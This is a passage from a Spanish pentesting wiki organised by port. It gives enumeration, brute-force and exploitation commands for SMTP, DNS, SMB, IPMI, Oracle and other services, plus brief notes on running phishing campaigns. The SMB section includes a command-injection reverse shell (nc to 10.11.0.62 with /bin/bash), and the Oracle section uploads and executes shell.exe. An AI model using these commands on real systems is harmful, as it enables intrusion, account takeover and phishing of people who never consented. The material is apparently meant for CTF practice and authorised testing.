dirección de correo del remitente. • QUIT – Cierra la conexión. • HELP – Comando de ayuda para listar los comandos habilitados en el servidor. • AUTH – Para autenticarse en el servidor. • VRFY – Comando para preguntar al servidor si un correo esta disponible o registrado en el servidor. ### Conectar con el activo ```bash root@miau# telnet IP 25 Trying ***... Connected to ***. Escape character is '^]'. 220 ************************************** quit 221 2.0.0 Bye Connection closed by foreign host. ``` #### Usar Smtp-User-Enum {% code overflow="wrap" %} ```bash root@miau# smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t IP ``` {% endcode %} #### Verificar si están habilitadas las comunicaciones internas ```bash nc -nv IP 25 VRFY root@miau:~# nc IP 25 220 ************************************** HELO LOCALHOST 250 ***** VRFY postmaster 252 2.0.0 postmaster MAIL from: postmaster 250 2.1.0 Ok RCPT to: postmaster 250 2.1.5 Ok DATA 354 End data with . Email sent with no authorization . 250 2.0.0 Ok: queued as 99A18407AA7F ``` ### Tipos de pruebas * Identificación del banner y búsqueda de posibles vulnerabilidades propias de la versión. ``` nv -vn IP 25 ``` * Enumeración de usuarios. * Fuerza bruta ``` hydra -l -P IP smtp://IP ``` * SMTP Relay * Incorrecto control de acceso para poder enviar un correo suplantando el origen. Opciones de obtener información si han dejado la configuración por defecto: * Obtención del banner con la ejecución de Nmap. * Al acceder al servidor mediante Telnet o netcat * Metasploit cuenta con un módulo auxiliar: /scanner/smtp/smtp\_version ``` msf > use auxiliary/scanner/smtp/smtp_enum msf > use auxiliary/scanner/smtp/smtp_version ``` ## Máquinas resueltas que usan SMTP * HTB * SneakyMailer ## Referencias * # 53 - DNS Domain Name System ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *telnet* en el NSE nmap -p 53 -sV --script=*dns* IP #opcion 2 - específicamente los siguientes nmap -p 53 -sV --script=dns-nsec-enum,dns-service-discovery,dns-zone-transfer,dns-srv-enum,dns-brute,dns-recursion,dns-nsec3-enum,dns-zeustracker IP ``` {% endcode %} ## Probar * Transferencia zona ```bash dig axfr blah.com @ns1.blah.com ``` ```bash whois domain.com ``` ```bash dig {a|txt|ns|mx} domain.com dig {a|txt|ns|mx} domain.com @ns1.domain.com ``` ```bash host -t {a|txt|ns|mx} megacorpone.com host -a megacorpone.com host -l megacorpone.com ns1.megacorpone.com ``` ```bash dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com ``` ```bash dnsenum domain.com ``` * DNS Tunneling En el servidor ``` iodined -f 10.0.0.1 domain ``` En el cliente ``` iodine -f domain.com ``` * DNS Spoofing ``` ettercap -T -q -i -M arp:remote // // ``` * Caché poisoning ``` dnsspoof -i -f ``` * DNS Open Resolver ``` nmap --script dns-recursion IP ``` * Conexión a través de los siguientes comandos ``` nslookup domain.com host domain.com dig domain.com ``` ## Máquinas resueltas que usan DNS * HTB * Trick * Litter * Bank ## Referencias # 79 - Finger Protocolo Finger ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #lanza todos los que contengan *finger* en el NSE nmap -p 79 -sV --script=*finger* IP ``` {% endcode %} ## Probar El user id por defecto es "0" y la contraseña "welcome". * Para acceder: ``` finger "id@IP" telnet IP 79 ``` * Para descubrir los usuarios existentes ``` finger @IP ``` * Módulo de Metasploit ``` exploit/unix/misc/finger_bomb ``` ## Máquinas resueltas que usan Finger * HTB * Sunday ## Referencias # 80 - HTTP Hypertext Transfer Protocol ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *http* en el NSE nmap -p 80 -sV --script=*http* IP #opcion 2 - específicamente los siguientes nmap -p 80 -sV --script=http-enum,http-methods,http-devframework,http-headers,http-put,http-auth,http-title,http-fetch,http-ls,http-xssed,http-chrono,http-auth-finder,http-security-headers,http-errors,membase-http-info IP ``` {% endcode %} ## Probar Al ser un servicio web, echa un ojo a la sección de [aplicaciones Web](/securiters-wiki/web). ## Máquinas resueltas que usan HTTP ## Referencias # 88 - Kerberos Protocolo Kerberos Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *krb* en el NSE nmap -p 88 -sV --script=*krb* IP #opcion 2 - específicamente los siguientes nmap -p 88 -sV --script=krb5-enum-users,krb5-enum-users IP ``` {% endcode %} ## Probar Fuerza bruta con [kerbrute](https://github.com/TarlogicSecurity/kerbrute) Echa un ojo a la sección de [Active Directory](/securiters-wiki/internas/ad) ## Máquinas resueltas que usan Kerberos ## Referencias * * # 110 - POP3 Post Office Protocol ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *pop* en el NSE nmap -p 110 -sV --script=*pop* IP #opcion 2 - específicamente los siguientes nmap -p 110 -sV --script=pop3-capabilities,pop3-ntlm-info,pop3-brute,pop3-ntlm-info IP ``` {% endcode %} ## Probar Leer correos por pop3 ```bash telnet IP 110 user pass list retr Retrieve message QUIT ``` ## Máquinas resueltas que usan POP3 ## Referencias # 111 - RPC ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *rpc* en el NSE nmap -p 111 -sV --script=*rpc* IP #opcion 2 - específicamente los siguientes nmap -p 111 -sV -sSUC --script=rpcinfo,rpc-grind,msrpc-enum,bitcoinrpc-info,deluge-rpc-brute,rusersd IP ``` {% endcode %} ## Probar Obtener información a través de: a) RPCInfo ``` rpcinfo -p IP ``` b) RPCClient * Conectar a través de sesión nula ``` rpcclient -U "" -N IP ``` * Conectar a través de contraseña vacía ``` rpcclient -U "" IP ``` * Comandos rpcclient ``` rpcclient>srvinfo rpcclient>enumdomusers rpcclient>getdompwinfo rpcclient>enumdomains rpcclient>enumdomgroups rpcclient>enumdomusers rpcclient>enumprivs rpcclient>querydominfo rpcclient>netshareenum ``` c) rpcdump ``` rpcdump IP -p port ``` ## Máquinas resueltas que usan RPC ## Referencias # 123 - NTP (UDP) ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *ntp* en el NSE nmap -p 123 -sU -sV --script=*ntp* IP #opcion 2 - específicamente los siguientes nmap -p 123 -sU -sV --script=ntp-info IP ``` {% endcode %} ## Probar ## Máquinas resueltas que usan NTP ## Referencias # 135 - MSRPC Microsoft RPC ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *rpc* en el NSE nmap -p 135 -sV --script=*rpc* IP #opcion 2 - específicamente los siguientes nmap -p 135 -sV -sSUC --script=msrpc-enum,rusersd IP ``` {% endcode %} ## Probar Revisa las pruebas del puerto [111 - RPC](/securiters-wiki/puertos-and-servicios/111-rpc). ## Máquinas resueltas que usan RPC ## Referencias # 139 - Netbios-ssn NetBIOS Session Service ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *nbs* en el NSE nmap -p 139 -sV --script=*nbs* IP #opcion 2 - específicamente los siguientes nmap -p 139 -sV -sSUC --script=nbstat IP ``` {% endcode %} ## Probar ## Máquinas resueltas que usan Netbios-ssn ## Referencias # 143 - IMAP Internet Message Access Protocol ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *nbs* en el NSE nmap -p 145 -sV --script=*imap* IP #opcion 2 - específicamente los siguientes nmap -p 145 -sV ---script=imap-capabilities,imap-ntlm-info,imap-brute IP ``` {% endcode %} ## Probar ## Máquinas resueltas que usan IMAP ## Referencias # 161/162 - SNMP Simple Network Management Protocol ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *nbs* en el NSE nmap -p 161,162 -sV --script=*snmp* IP #opcion 2 - específicamente los siguientes nmap -p 161,162 -sV ---script=snmp-info,snmp-interfaces,snmp-processes,snmp-sysdescr,snmp-brute,snmp-netstat,snmp-win32-shares IP ``` {% endcode %} ## Probar * snmp-check ``` snmp-check IP ``` * onesistyone ``` onesixtyone -c -i IP ``` * snmpenum ``` snmpenum IP public linux.txt snmpenum IP public windows.txt ``` * Snmpwalk ``` snmpwalk -c public -v1 IP snmpwalk -c private -v1 IP # Enumeración de usuarios snmpwalk -c public -v1 IP 1.3.6.1.4.1.77.1.2.25 # Enumeración de procesos Windows snmpwalk -c public -v1 IP 1.3.6.1.2.1.25.4.2.1.2 # Enumeración de puertos TCP Abiertos en Windows snmpwalk -c public -v1 IP 1.3.6.1.2.1.6.13.1.3 # Enumeraciṕon de puertos UDP abiertos en Windows snmpwalk -v2c -c public IP 1.3.6.1.2.1.7.5.1.2 # Enumeración del software instalado en Windows snmpwalk -c public -v1 IP 1.3.6.1.2.1.25.6.3.1.2 ``` {% hint style="info" %} Contraseñas por defecto SNMP /usr/share/metasploit-framework/data/wordlists/snmp\_default\_pass.txt {% endhint %} ## Máquinas resueltas que usan SNMP ## Referencias # 389 - LDAP Lightweight Directory Access Protocol ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *telnet* en el NSE nmap -p 389 -sV --script=*ldap* IP #opcion 2 - específicamente los siguientes nmap -p 389 -sV --script=ldap-search,ldap-rootdse,ldap-brute IP ``` {% endcode %} ## Probar Echa un ojo a la sección de [Active Directory](/securiters-wiki/internas/ad) * ldapsearch ``` ldapsearch -LLL -x -H ldap://IP -b 'dc=domain,dc=LOCAL' ldapsearch -h ldaphostname -p 389 -x -b "dc=domain,dc=com" ``` * ldapadmintool - ## Máquinas resueltas que usan LDAP ## Referencias # 443 - HTTPS ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *http* en el NSE nmap -p 443 -sV --script=*http* IP #opcion 2 - específicamente los siguientes nmap -p 443 -sV --script=http-enum,http-methods,http-devframework,http-headers,http-put,http-auth,http-title,http-fetch,http-ls,http-xssed,http-chrono,http-auth-finder,http-security-headers,http-errors,membase-http-info,https-redirect,ip-https-discover IP ``` {% endcode %} ## Probar Al ser un servicio web, echa un ojo a la sección de [aplicaciones Web](/securiters-wiki/web). ## Máquinas resueltas que usan HTTPS ## Referencias # 445 - SMB ## Nmap {% code overflow="wrap" %} ```bash nmap -p 135,139,445 --script smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-ls,smb-mbenum,smb-os-discovery,smb-print-text,smb-psexec,smb-protocols,smb-security-mode,smb-system-info,smb-double-pulsar-backdoor,smb-security-mode,smb-server-stats,smb-system-info,smb-vuln* IP ``` {% endcode %} **Fuerza bruta con nmap** ```bash nmap -sS -sU --script=smb-brute.nse -p139,445 U:137 -n nmap -sU -sS --script smb-brute.nse -p U:137,T:139 -n smb: \> logon "/=`nc 10.11.0.62 443 -e /bin/bash`" ``` ## Probar * Enumeración con metasploit ```bash msf > use auxiliary/scanner/smb/smb_enumshares ``` * Diferentes enumeraciones ```bash smbmap -H IP ``` ```bash enum4linux -a IP ``` ```bash nmblookup -A 192.168.1.1 ``` ```bash nbtscan IP ``` * SmbClient ```bash #listar recursos smbclient -L //IP smbclient -L //IP/share -U anonymous #conectar en la ruta smbclient //IP/share ``` * Crackmapexec ``` crackmapexec smb IP //usando credenciales crackmapexec smb IP -u username -p password ``` ### ### Herramientas * SMBClient * SMBMap * SMBpassword ## Máquinas resueltas que usan SMB • HTB - ypuffy • HTB - Bastion ## Referencias * * # 464 - kpasswd5 ## # 500 - IPSec/IKE VPN ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *http* en el NSE nmap -p 500 -sU -sV IP #opcion 2 - específicamente los siguientes nmap -p 500 -sV --script=ike-version ``` {% endcode %} ## Probar Por defecto en Kali tenemos la herramienta [ike-scan](https://github.com/royhills/ike-scan) ``` ike-scan -M IP ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key ``` [Ikeforce](https://github.com/SpiderLabs/ikeforce) ``` ./ikeforce.py IP -a -s 1 ``` ## Máquinas resueltas que usan IPSec/IKE ## Referencias # 587 - SMPT STARTTLS # 623 - IPMI ## Nmap {% code overflow="wrap" %} ```bash nmap -sV -p 623 IP --script=ipmi-version nmap -n -sU -p 623 IP ``` {% endcode %} ### Metasploit ``` use auxiliary/scanner/ipmi/ipmi_version use auxiliary/scanner/ipmi/ipmi_cipher_zero msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` ## Probar ### Herramienta ipmitool ``` apt-get install ipmitool ipmitool -I lanplus -C 0 -H IP -U root -P root user list #cambiar pw del usuario root a passw ipmitool -I lanplus -C 0 -H IP -U root -P root user set password 2 passw ``` ### Autenticación anónima ``` ipmitool -I lanplus -H IP -U '' -P '' user list #cambia pw del usuario root a passw2 ipmitool -I lanplus -H IP -U '' -P '' user set password 2 passw2 ``` References * * * # 631 - CUPS Common UNIX Printing System Estandar para compartir impresoras en redes de equipos linux. Se accede a través de ; Y para ver la versión usada de CUPS mirar en # 636 - LDAP # 1433/1434 - MS SQL Server ## Nmap {% code overflow="wrap" %} ``` nmap -p 1433,1434 --script=ms-sql-info,md-dql-config,ms-sql-tables,ms-sql-brute,ms-sql-ntlm-info,ms-sql-empty-password,ms-sql-xp-cmdshell IP ``` {% endcode %} ## Probar ## Referencias # 1521 - OracleDB ## Nmap {% code overflow="wrap" %} ``` nmap -p 1521 --script=oracle-vuln-tns-poison IP ``` {% endcode %} ## Probar ### METASPLOIT ```bash use auxiliary/scanner/oracle/tnslsnr_version use auxiliary/scanner/oracle/tnspoison_checker use auxiliary/scanner/oracle/sid_enum use auxiliary/scanner/oracle/sid_brute ``` ### ### Enumerar SID ```bash ./odat.py sidguesser -s 10.10.10.82 ``` ## ### Fuerza bruta Cuidadin con los diccionarios por defecto que viene todo en mayuscula y Oracle distingue entre mayusculas y minusculas ```bash ./odat.py passwordguesser -s 10.10.10.82 -d XE ``` ```bash ./odat.py passwordguesser -s 10.10.10.82 -d XE --acounts-file accounts/accounts.txt ``` ## ### Subir una shell {% code overflow="wrap" %} ```bash ./odat.py utlfile -s 10.10.10.82 -d XE -U scott -P tiger --sysdba --putFile c:/ shell.exe shell.exe ``` {% endcode %} ### Ejecutar un fichero {% code overflow="wrap" %} ```bash ./odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --sysdba --exec c:/ shell.exe ``` {% endcode %} ## ## Referencias # 1720 - VoIP - SIP # 1900 - UPnP # 2049 - NFS # 3306 - MySQL {% code overflow="wrap" %} ```bash nmap -sV -p 3306 --script=mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 IP ``` {% endcode %} ### Probar Buscar ficheros del sistema #### FIcheros de configuración * windows * config.ini * my.ini * windows\my.ini * winnt\my.ini * \/mysql/data/ * unix * my.cnf * /etc/my.cnf * /etc/mysql/my.cnf * /var/lib/mysql/my.cnf * \~/.my.cnf * /etc/my.cnf #### Historial de comandos * \~/.mysql.history #### Logs * connections.log * update.log * common.log # 3389 - RDP Podemos conectarnos a través de la herramienta xfreerdp: ``` xfreerdp /u:usuario /p:clave /v:IP:PUERTO /cert:ignore #con share compartido xfreerdp /u:usuario /p:clave /v:IP:PUERTO /cert:ignore /drive:home,/home/USER_KALI/ ``` # 4500 - IPSec (UDP) # 5357 - WSDAPI # 6379 - Redis # 6697 - IRC # 8009 - Apache Jserv # 8080 - HTTP Alt # 8500 - Adobe Coldfusion # 10000 - Webmin # 49981 - System Management Hub # 50000 - SAP # Phishing Para elaborar una campaña de phishing necesitamos ciertos factores: 1\. Comprar un dominio. Entre los siguientes ejemplos tienes proveedores de hosting: * [https://www.ionos.es](https://www.ionos.es/?ac=OM.WE.WEo41K356260T7073a\&utm_source=google\&utm_medium=cpc\&utm_campaign=SBT-ES-BRA-MIXX---IONOS-EX--\&utm_term=ionos\&matchtype=e\&utm_content=EX-Ionos\&gclsrc=aw.ds) * [https://www.arsys.es/](https://www.arsys.es/dominios/promo/sea?s=cpc\&c=397982\&a=5340410883) * [https://www.hostalia.com/](https://www.hostalia.com/dominios/) * muchos más 2\. Envío de emails y su gestión: * 3\. Además de la herramienta anterior, para evadir el segundo factor de autenticación (2FA) se pueden usar las siguientes herramientas: * * * ### Recursos y enlaces de referencia * [Montar un phishing en la nuble con Ansible](https://github.com/ralphte/build_a_phish) # Bug Bounty Enum & OSINT & Exploit ## Tips & Tricks * Usar GIT para descubrir repositorios * Mira instancias de GitLab * Busca * información de la IP y del dominio * subdominios y rutas * domain & subdomain takeover * servicios y puertos * Inyecciones de código * Cambia peticiones POST por GET ## Recursos y enlaces de referencia * [m0chan github](https://m0chan.github.io/2019/12/17/Bug-Bounty-Cheetsheet.html) * [haax.fr](https://cheatsheet.haax.fr/resources/web_bug_bounty/) * gowthams's [bughunter-handbook](https://gowthams.gitbook.io/bughunter-handbook/checklists) * [BB roadmaps](https://github.com/1ndianl33t/Bug-Bounty-Roadmaps) # Cloud ## :construction: UNDER CONSTRUCTION :construction: ### Herramientas #### Para NextCloud * ### Recursos y enlaces de referencia * [Listado de recursos de seguridad en cloud](https://github.com/4ndersonLin/awesome-cloud-security) # AWS ## :construction: UNDER CONSTRUCTION :construction: ### Herramientas * * * * * * * * * ### Recursos y enlaces de referencia # Azure ## :construction: UNDER CONSTRUCTION :construction: ### Recursos y enlaces de referencia --- [Next Page](https://wiki.securiters.com/securiters-wiki/llms-full.txt/1)